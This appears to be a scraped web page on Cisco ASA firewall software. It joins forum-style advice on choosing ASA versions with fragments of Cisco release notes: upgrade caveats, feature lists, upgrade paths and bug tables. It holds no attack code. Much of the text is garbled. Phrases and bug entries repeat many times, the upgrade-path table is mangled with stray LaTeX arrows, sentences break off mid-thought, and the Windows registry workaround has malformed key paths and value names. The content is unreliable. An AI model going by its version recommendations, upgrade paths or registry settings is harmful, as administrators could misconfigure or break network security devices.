

cisco asa 9.6.4 download دليل تكوين

If you're using the Firepower service module then I'd recommend the latest 9.8(4) interim. The Firepower version will be limited to 6.2.3.x on these boxes since 6.3+ memory requirement exceeds the platform capability. If you are not using the Firepower service module, then I'd say go with the 9.12(3) latest interim. It's been around for a while and is gold starred for the other hardware that doesn't have the hardware limitations of the 5506-X. 9.14 is a bit new to jump on in production. Not enough field deployments to make a solid case for it's long term viability. In general, ASA even-numbered releases are long term viability. new feature is only available there. If you can get a couple of Firepower 1010 appliance instead those would be a better bet - either with ASA software or FTD ASDM signed-image support in 9.14(4.14)/7.18(1.152) and later—The ASA now validates whether the ASDM image is a Cisco digitally signed image. If you try to run an older ASDM image with an ASA version with this fix, ASDM will be blocked and the message "%ERROR: Signature not valid for file disk0:/" will be displayed at the ASA CLI. ASDM release 7.18(1.152) and later are backwards compatible with all ASA versions, even those without this fix. (CSCwb05264) No support in ASA 9.14(1)+ for cnatAddrBindSessionCount OIDs (CSCvy22526). No support in ASA 9.13(1) and later for the ASA 5512-X, ASA 5515-X, ASA 5585-X, and the ASASM—ASA 9.12(x) is the last supported version. For the ASA 5515-X and ASA 5585-X FirePOWER module, the last support these models; you must upgrade to ASDM 7.13(1.101) or 7.14(1.48) to restore ASDM support. ASAv requires 2GB memory in 9.13(1) and later— Beginning with 9.13(1), the minimum memory requirement for the ASAv is 2GB. If your current ASAv runs with less than 2GB of memory, you cannot upgrade to 9.13(1) from an earlier version. You must adjust the memory size before upgrading. See the ASAv Getting Started Guide for information about the resource allocations (vCPU and memory) supported in version 9.13(1). Downgrade issue for the Firepower 2100 in Platform mode from 9.13/9.14 to 9.12 or earlier. For a Firepower 2100 with a fresh installation of 9.13 or 9.14 that you converted to Platform mode: If you downgrade to 9.12 or earlier. that 9.12 and earlier only supports Platform mode). You either need to restore your version to 9.13 or later, or you need to clear your configuration using the FXOS erase configuration using re-imaged device. (CSCvr19755) Cluster control link MTU change in 9.13(1), many cluster control packets are larger than they were in previous releases. The recommended MTU for the cluster control link has always been 1600 or greater, and this value is appropriate. However, if you set the MTU to 1600 but then failed to match the MTU on connecting switches (for example, you left the MTU as 1500 on the switch), then you will start seeing the effects of this mismatch with dropped cluster control link to the same MTU, specifically 1600 or higher. Upgrade ROMMON for ASA 5506-X, 5508-X, and 5516-X to Version 1.1.15 or later—There is a new ROMMON version for these ASA models (May 15, 2019); we highly recommend that you upgrade to the latest version. To upgrade for 1.1.15 takes twice as long as previous ROMMON versions, approximately 15 minutes. Do not power cycle the device during the upgrade. If the upgrade is not complete within 30 minutes or it fails, contact Cisco technical support; do not power cycle or reset the device. Upgrade ROMMON for the ISA 3000 to Version 1.0.5 or later—There is a new ROMMON for the ISA 3000 (May 15, 2019); we highly recommend that you upgrade to the latest version. To upgrade, see the instructions in the ASA configuration guide. Caution: The ROMMON upgrade for 1.0.5 takes twice as long as previous ROMMON versions, approximately 15 minutes. Do not power cycle the device during the upgrade. If the upgrade is not complete within 30 minutes or it fails, contact Cisco technical support; do not power cycle or reset the device. The tls-proxy keyword, and support for SCCP/Skinny encrypted inspection, was removed from the inspect skinny command. Windows DNS Client Optimization Limitation—Because of a limitation in Windows 8 and above, we have observed that certain name resolutions, such as nslookup, fail for FQDNs by not matching any split-DNS domains. The workaround is to disable Windows DNS client optimization with the following changes: Key: HKEY LOCAL MACHINE\SySTEM\CurrentControlSet\Services\Dnscache\Parameters Value:DisableParallelAandAAA Data: 1 Key: HKEY LOCAL MACHINE\Services\Dnscache\Parameters Value:DisableParallelAandAAA Data: 1 Key: HKEY LOCAL MACHINE\Services\Dnscache\Parameters Value:DisableParallelAandAAA Data: 1 Key: HKEY LOCAL MACHINE\Services\Dnscache\Parameters Value:DisableParameters DisableSmartNameResolution Data: 1 This section lists the system requirements to run this release. For information about ASA/ASDM software and hardware requirements and compatibility, including module compatibility, see Cisco ASA Compatibility, see Cisco ASA Compatibility, see Cisco ASA Compatibility, see Cisco ASA Compatibility, including module compatibility, see Cisco ASA Compatibility, messages are listed in the syslog message guide. There are no new features in this release. There are no new features SNMP polling over a site-to-site VPN, include the IP address of the outside interface in the crypto map access-list as part of the VPN configuration. Feature Description License reservation using product ID L-ASAV100 permanent license reservation The ASAv100 now supports permanent license reservation. Note This release is only supported on the ASAv. Feature Description Platform Features ASAv100 platform The ASAv virtual platform has added the ASAv100, a high-end performance model that provides 20 Gbps Firewall throughput levels. The ASAv100 is supported on VMware ESXi and KVM only. Feature Description Platform Features ASA for the Firepower 4112 We introduced the ASA for the Firepower 4112. No modified commands. Note Firewall Features Ability to see port numbers in show access-list output. The show access-list command now has the numeric keyword. You can use this to view port numbers in the access control entries rather than names, for example, 80 instead of www. The object-group icmp-type command is deprecated and might be removed in a future release, the object-group icmp-type command is deprecated and might be removed in a future release. the object. Kerberos Key Distribution Center (KDC), and the system can authenticate that the Kerberos Server is not being spoofed before using it to authenticate users. To accomplish KDC authentication, you must set up a host/ASA hostname service principal name (SPN) on the Kerberos KDC, then export a keytab for that SPN. You then must upload the keytab to the ASA, and configure the Kerberos AAA server group to validate the KDC. New/Modified commands: aaa kerberos import-keytab , clear aaa kerberos keytab , show aaa kerberos keytab , validate-kdc . High Availability and Scalability Features Configuration sync to data units in parallel The control unit now syncs configuration changes with data units in parallel Messages for cluster join failure or eviction added to show cluster history New messages were added to the show cluster history command for when a cluster unit either fails to join the cluster or leaves the cluster. New/Modified commands: show cluster history Interface Features Speed auto-negotation can be disabled on 1GB fiber interfaces on the Firepower 1000 and 2100 You can now configure a Firepower 1100 or 2100 SFP interface to disable auto-negotiation. For 10GB interfaces, you can configure the speed down to 1GB without auto-negotiation; you cannot disable auto-negotiation for an interface with the speed set to 10GB. New/Modified commands: speed nonegotiate Administrative and Troubleshooting Features New connection-data-rate command The connection-data-rate command was introduced to provide an overview on data rate of individual connections on the ASA. When this command is enabled, per-flow data rate along with the existing connections with high data rates, thereby, ensuring an optimized CPU utilization. New/Modified commands: connections with high data rate along with the existing connection information helps to identify and block unwanted connections with high data rate along with the existing connections with high data rates. data-rate , show conn data-rate , show conn data-rate HTTPS idle timeout for all HTTPS connections to the ASA, including ASDM, WebVPN, and other clients. Formerly, using the http server idle-timeout for all HTTPS idle timeout for all HTTPS connections to the ASA, including ASDM, WebVPN, and other clients. command takes precendence. New/Modified commands: http connection idle-timeout NTPv4 support The ASA now supports NTPv4. No modified command provides statistics of messages logged for each logging category configured on the ASA. The clear logging counter command was introduced to clear the logged counters and statistics. New/Modified commands: clear logging counter Debug commands have a simplified to provide commands have a simplified to provide commands have a simplified to provide command since mode The debug fixes parser commands have a simplified to provide command since mode The debug fixes parser command has been simplified to provide commands have a simplified to provide command since mode The debug fixes parser command has been simplified to provide commands have a simplified to provide command has been simplified to provide commands have a simplified to provide command has been simplified to provide commands have a simplified to provide command has been simplified to provide commands have a simplified to provide command has been simplified to provide commands have a simplified to provide command has been simplified to provide commands have a simplified to provide command has been simplified to provide
commands have a simplified to provide command has been simplified to provide commands have a simplified to provide command has been simplified to provide commands have a simplified to provide command has been simplified to provide commands have a simplified to provide command has been simplified to provide commands have a simplified to provide command been moved under the debug menu fxos parser command. New/Modified commands: debug fxos parser , debug menu fxos parser show tech-support command was added to the output of the show tech-support commands: show tech-support Also in 9.12(4). Monitoring Features Net-SNMP version 5.8 Support The ASA is using Net-SNMP, a suite of applications used to implement SNMP v1, SNMP v2c, and SNMP v2 from RADIUS over SNMP. This feature implements three SNMP OIDs: crasNumAbortedSessions (aborted sessions) objects The ASA provides support for the Advanced Encryption Standard (AES) Cipher Algorithm. This feature implements three following SNMP OIDs: usmAesCfb128Protocol usmNoPrivProtocol SNMPv3 Authentication. New/Modified command. You can use the debug telemetry command. You can use the debug telemetry command. You can use the debug telemetry command. cause for errors when generating the telemetry report. New/Modified commands: debug telemetry , show debug telemetry VPN Features DHCP relay server to forward DHCP messages through VTI tunnel interface. New/Modified commands: debug telemetry very for Multiple Peer Crypto Map You can now configure IKEv2 with multi-peer crypto map—when a peer in a tunnel goes down, IKEv2 attempts to establish the SA with the next peer in the list. No modified commands. Username Options for Multiple Certificate Authentication In mu certificate) or second (user certificate-choice, secondary-username-from-certificate-choice, secondary-usernam following methods: ASDM: Choose . CLI: Use the show version command. This table provides upgrade before you can upgrade to a newer version. Recommended versions are in bold. Note Be sure to check the upgrade guidelines for each release between your starting version and your ending version. You may need to change your configuration before upgrading in some cases, or else you could experience an outage. Note For guidance on security Advisories. Note ASA 9.12(x) was the final version for the ASA, 5512-X, 5585-X, and ASASM. ASA 9.2(x) was the final version for the ASA 5505. ASA 9.1(x) — Any of the following: \rightarrow 9.14(x) 9.12(x) = 0.12(x) = 0. following: $\rightarrow 9.14(x) \rightarrow 9.12(x) 9.8(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) 9.7(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ — Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) 9.5(x)$ $9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x)$ 9.2(x) - Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x)$ 9.1(2), 9.1(3), 9.1(4), 9.1(2), 9.1(4), 9. $9.6(x) \rightarrow 9.1(7.4) 9.0(1) \rightarrow 9.0(4)$ Any of the following: $\rightarrow 9.14(x) \rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.6(1) \rightarrow 9.0(4)$ Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.4(5+)$ - Any of the following: $\rightarrow 9.1(7.4) 8.4(5+)$ - Any of the followin \rightarrow 9.1(7.4) 8.3(x) \rightarrow 9.0(4) Any of the following: \rightarrow 9.12(x) \rightarrow 9.8(x) \rightarrow 9.1(7.4) 8.2(x) and earlier \rightarrow 9.0(4) Any of the following: \rightarrow 9.1(7.4) 8.2(x) \rightarrow 9.1(7.4) To complete your upgrade, see the ASA upgrade guide. The open and resolved bugs for this release are accessible through the Cisco Bug Search Tool. This web-based tool provides you with access to the Cisco bug tracking system, which maintains information about bugs and vulnerabilities in this product and other Cisco Bug Search Tool. If you do not have one, you can register for an account. If you do not have a Cisco support contract, you can only look up bugs by ID; you cannot run searches. For more information about the Cisco Bug Search Tool, see the Bug Search Tool Help & FAQ. The following table lists select open bugs at the time of this Release Note publication. Caveat ID Number Description CSCvw76421 ASA traceback and reload on Thread Name CP Processing CSCvx24207 FQDN Object Containing IPv4 and IPv6 Addresses Only Install IPv6 Entries CSCvz70958 High Control Plane CPU on StandBy due to dhcpp_add_ipl_stby CSCvz70816 ASA disconnects the ssh, https session using of Active IP address and Standby MAC address after FO
CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03341 Standby's sub interface mac doesn't revert to old mac with no mac-address command CSCwa03541 Standby's sub interface mac doesn't revert to old mac with no mac-address command com user context CSCwa37844 ASA/FTD traceback and reload on octnic hm thread thread CSCwa42596 ASA with SNMPv3 configuration observes unexpected reloads with snmpd cores CSCwa56854 AnyConnect SSL traffic not passing due to stale SVC NP rules CSCwa57029 ASA/FTD Lina Traceback and reload CSCwa58725 ASA/FTD - Traceback in Thread Name: DATAPATH CSCwa59907 LINA observed traceback when SD WAN ACL enabled, then disabled (or vice-versa) in PBR CSCwa67884 Conditional flow-offload debugging produces no output CSCwa72530 FTD: Time gap/mismatch seen when new node joins a Cluster Control node under history CSCwa72472 ASA/FTD - Traceback in Thread Name:DATAPATH This section lists resolved bugs per release. The following table lists select resolved bugs at the time of this Release Note publication. Caveat ID Number Description CSCum03297 MAXHOG timestamp is not shown in 'show processes cpu-hog' output CSCvg66052 2 CPU Cores continuously spike on firepower appliances CSCvi58484 Cluster: ping sourced from FTD/ASA to external IPs may if reply lands on different cluster unit CSCvr11958 AWS FTD: Deployment failure with ERROR: failed to set interface to promiscuous mode CSCvs27336 Traceback on ASA by Smart Call Home processes cpu-usage output is misleading on multi-core platforms CSCvt67167 Data Unit traceback and reload without traffic at Thread Name :"logger' CSCvv27218 Node traceback and reload when trying to add into the cluster using "enable" command CSCvv40406 FTD/ASA creates coredump file with "!" character in filename (lina changes). CSCvv43190 Crypto engine errors when GRE header protocol field doesn't match protocol field in inner ip header CSCvv48942 Snmpwalk showing traffic counter as 0 for failover interface CSCvv71097 traceback and reload on engineering ASA build - 9.12.3.237 CSCvw71405 FPR1120 running ASA traceback and reload in crypto process. CSCvx20872 ASA/FTD Traceback and reload due to netflow refresh timer CSCvx23833 IKEv2 rekey - Invalid SPI for ESP packet using new SPI received right after Create Child SA response CSCvx26308 ASA traceback and reload due to strcpy s: source string too long for dest CSCvx38124 Core-local block alloc failure on cores where CP is pinned leading to drops CSCvx47895 Cisco ASA Software Identity-Based Rule Bypass Vulnerability CSCvx48490 SSL Decrypted https flow EOF events showing 'Initiator/Responder' Packets as 0 CSCvx50980 ASA CP CPU wrong calculation leads to high percentage (100% CP CPU) CSCvx65178 SNMP bulkget not working for specific OIDs in firewall mib and device performance degradation CSCvx77768 Traceback and reload due to Umbrella CSCvx78968 ASA/FTD Traceback and reload on Thread Name: IKEv2 Daemon with VTIs configured CSCvx79526 Cisco ASA and FTD Software Resource Exhaustion Denial of Service Vulnerability CSCvx79793 Slow file transfer or file upload with SSL policy is applied with Decrypt resign action CSCvx80830 VPN conn fails from same user if Radius server sends a dACL and vpn-simultaneous-logins is set to 1 CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85922 ASA/FTD may traceback and reload on watchdog during failover CSCvx90486 In some cases snmpwalk for ifXTable may not return data interfaces CSCvx94398 Secondary ASA could not get the startup configuration CSCvx95884 High CPU and massive "no buffer" drops during HA bulk sync and during normal conn sync CSCvx97053 Unable to configure ipv6 address/prefix to same interface and network in different context CSCvx97632 ASA traceback and reload when copying files with long destination filenames using cluster command CSCvy04343 ASA in PLR mode, "license smart reservation" is failing. CSCvy04869 AnyConnect certificate authentication fails if user certificate has 8192 bits key size CSCvy07491 ASA traceback when re-configuring access-list CSCvy09217 HA goes to active-active state due to cipher mismatch CSCvy10583 ASA Traceback and Reload in Thread Name: DATAPATH CSCvy12782 FTD/ASA: PATed traffic impacted when configured on ixgbe-vf SRIOV interfaces in HA CSCvy17078 Traceback with Thread Name: Unicorn Admin Handler even when running fix for CSCuz67596 CSCvy17365 REST API Login Page Issue CSCvy17470 ASA Traceback and reload on the A/S failover pair at IKEv2 CSCvy18138 PIM Register Sent counter does not increase when encapsulated packets with register flag sent to RP CSCvy18366 LINA Crash from pdts_pd_segment.c:1941 on FPR1k & ISA3k CSCvy21334 Active tries to send CoA update to Standby in case of "No Switchover" CSCvy23349 FTD unnecessarily ACKing TCP flows on inline-pair deployment CSCvy27283 ASA/FTD SNMPv3 polling may fail using privacy algorithms AES192/AES256 CSCvy3105 Ambiguous command error is shown for 'show route isis' if DNS lookup is enabled CSCvy33676 UN-NAT created on FTD once a prior dynamic xlate is full on /ngfw CSCvy33676 UN-NAT created on FTD once a prior dynamic xlate is hown for 'show route bage' or 'show route isis' if DNS lookup is enabled CSCvy33676 UN-NAT created on FTD once a prior dynamic xlate is hown for 'show route bage' or 'show route created CSCvy35737 FTD traceback and reload during anyconnect package verification CSCvy39659 ASA/FTD sends continuous Radius Access Requests Even After Max Retry Count is Reached CSCvy39659 ASA/FTD may traceback and reload in Thread Name 'DATAPATH-15-14815' CSCvy43187 Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software DoS CSCvy43447 FTD traceback and reload on Lic TMR Thread on Multi Instance FTD CSCvy47108 Remote Access IKEv2 VPN session cannot be established because of stuck Uauth entry CSCvy48159 ASA Traceback and reload in Thread Name 'ssh' CSCvy50011 ASA traceback in IKE Daemon process and reload CSCvy51659 Long OCSP timeout may cause AnyConnect authentication failure CSCvy52074 ASA/FTD may traceback and reload in Thread Name 'webvpn task' CSCvy52924 FTD loses OSPF network statements config for all VRF instances upon reboot CSCvy53461 RSA keys & Certs get removed post reload on WS-SVC-ASA-SM1-K7 with ASA code 9.12.x CSCvy55054 Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software DoS CSCvy56395 ASA traceback and reload due to snmp encrypted community string when key config is present CSCvy57905 VTI tunnel interface stays down post reload on KP/WM platform in HA CSCvy50268 Block 80 and 256 exhaustion snapshots are not created CSCvy60100 SNMP v3 configuration lost after reboot for HA CSCvy50821 ASA/FTD Memory block location not updating for fragmented packets in data-path CSCvy61008 Time out of sync between Lina and FXOS CSCvy64492 ASAv adding non-identity L2 entries for own addresses on MAC table and dropping HA hellos CSCvy64911 Debugs for: SNMP MIB value for crasLocalAddress is not showing the IP address CSCvy69189 FTD HA stuck in bulk state due to stuck vpnfol sync/Bulk-sync keytab CSCvy69453 WM Standby device do not send out coldstart trap after reboot. CSCvy72846 ASA accounting reports incorrect Acct-Session-Time CSCvy72846 ASA accounting reports incorrect Acct-Session-Time CSCvy72846 ASA accounting reports incorrect Acct-Session-Time CSCvy74781 The standby device is sending the keep alive messages for ssl traffic after the failover CSCvy74984 ASAv on Azure loses connectivity to Metadata server once default outside route is used CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525 FTD doesn't TCP ping when VRF's are configured CSCvy78525
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CSCvy92990 FTD traceback and reload in Thread Name: SNMP ContextThread CSCvy91668 PAT pool exhaustion with stickiness traffic could lead to new connection drop. CSCvy92990 FTD traceback and reload in Thread Name: SNMP ContextThread CSCvy91668 PAT pool exhaustion with stickiness traffic could lead to new connection drop. CSCvy91668 PAT pool exhaustion with stickiness traffic could lead to new connection drop. CSCvy91668 PAT pool exhaustion with stickiness traffic could lead to new connection drop. CSCvy91668 PAT pool exhaustion with stickiness traffic could lead to new connection drop. CSCvy91668 PAT pool exhaustion with stickiness traffic could lead to new connection drop. CSCvy91668 PAT pool exhaustion with stickiness traffic could lead to new connection drop. CSCvy92990 FTD traceback and reload related to SSL after upgrade to 7.0 CSCvy93480 Cisco ASA and FTD Software IKEv2 Site-to-Site VPN Denial of Service Vulnerability CSCvy96325 FTD/ASA: Adding new ACE entries to ACP causes removal and re-add of ACE elements in LINA CSCvy96603 FTD traceback and reload in Process Name lina related to SNMP functions CSCvy96895 ASA disconnects the VTY session using of Active IP address and Standby MAC address after failed over CSCvy98458 FP21xx -traceback "Panic:DATAPATH-10-xxxx -remove mem from head: Error - found a bad header" CSCvz00383 FTD lina traceback and reload in thread Name Checkheaps CSCvz00383 FTD lina traceback and reload in thread Name Checkheaps CSCvz00699 Traceback in webvpn and reload experienced periodically after ASA upgrade CSCvz02398 Crypto archive generated with SE ring timeout on 7.0 CSCvz05541 ASA55XX: Expansion module interfaces not coming up after a software upgrade CSCvz07614 ASA: Orphaned SSH session not allowing us to delete a policy-map from CLI CSCvz08387 ASP drop capture output may display incorrect drop reason CSCvz09109 Cluster CCL interface capture shows full packets although headers-only is configured CSCvz09109 Cluster CCL interface capture shows full packets although headers-only is configured CSCvz09109 Cluster CCL interface capture shows full packets although headers-only is configured CSCvz09109 Cluster CCL interface capture shows full packets although headers-only is configured CSCvz09109 Cluster CCL interface capture shows full packets although headers-only is configured CSCvz09109 Cluster CCL interface capture shows full packets although headers-only is configured CSCvz09109 Cluster CCL interface capture shows full packets although headers-only is configured CSCvz09109 Cluster CCL interface capture shows full packets although headers-only is configured CSCvz09109 Cluster CCL interface capture shows full packets although headers-only is configured CSCvz09109 Cluster CSCvz09109 reload in loop processing Anyconnect profile CSCvz20679 FTDv - Lina Traceback and reload CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat matches a port number instead of IP CSCvz21886 Twice nat's un-nat not happening if nat's un-nat not happening if nat's un-nat not happening if nat's un-nat's un reason is missing from 129 lines of asp-drop capture CSCvz29233 ASA: ARP entries from custom context not removed when an interface flap occurs on system context CSCvz30333 FTD/Lina may traceback when "show capture" command is executed CSCvz30933 ASA tracebacks and reload when clear configure snmp-server command is issued CSCvz33468 Nat hitcount not updated in FQDN NAT CSCvz34831 If ASA fails to download DACL it will never stop trying CSCvz37306 ASDM session is not served for new user after doing multiple context switches in existing user CSCvz38332 FTD/ASA - Stuck in boot loop after upgrade from 9.14.2.15 to 9.14.3 CSCvz38361 BGP packets dropped for non directly connected neighbors CSCvz396692 ASAv traceback in snmp master callback thread and reload CSCvz39665 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/AnyConnect - Stale RADIUS sessions CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/AnyConnect - Stale RADIUS sessions CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload during bulk VPN session connect CSCvz39646 ASA/FTD Traceback and Reload duri CSCvz43414 Internal Idap attribute mappings fail after HA failover CSCvz43455 ASAv observed traceback while upgrading hostscan CSCvz48407 Traceback and reload in Thread Name 'lina' CSCvz48407 Null encryption CSCvz51258 show tech-support output can be confusing when there crashinfo, need to clean up/make more intuitive CSCvz53142 ASA does not use the interface specified in the name-server command to reach IPv6 DNS servers CSCvz53142 ASA does not use the interface specified in the name-server command to reach IPv6 DNS 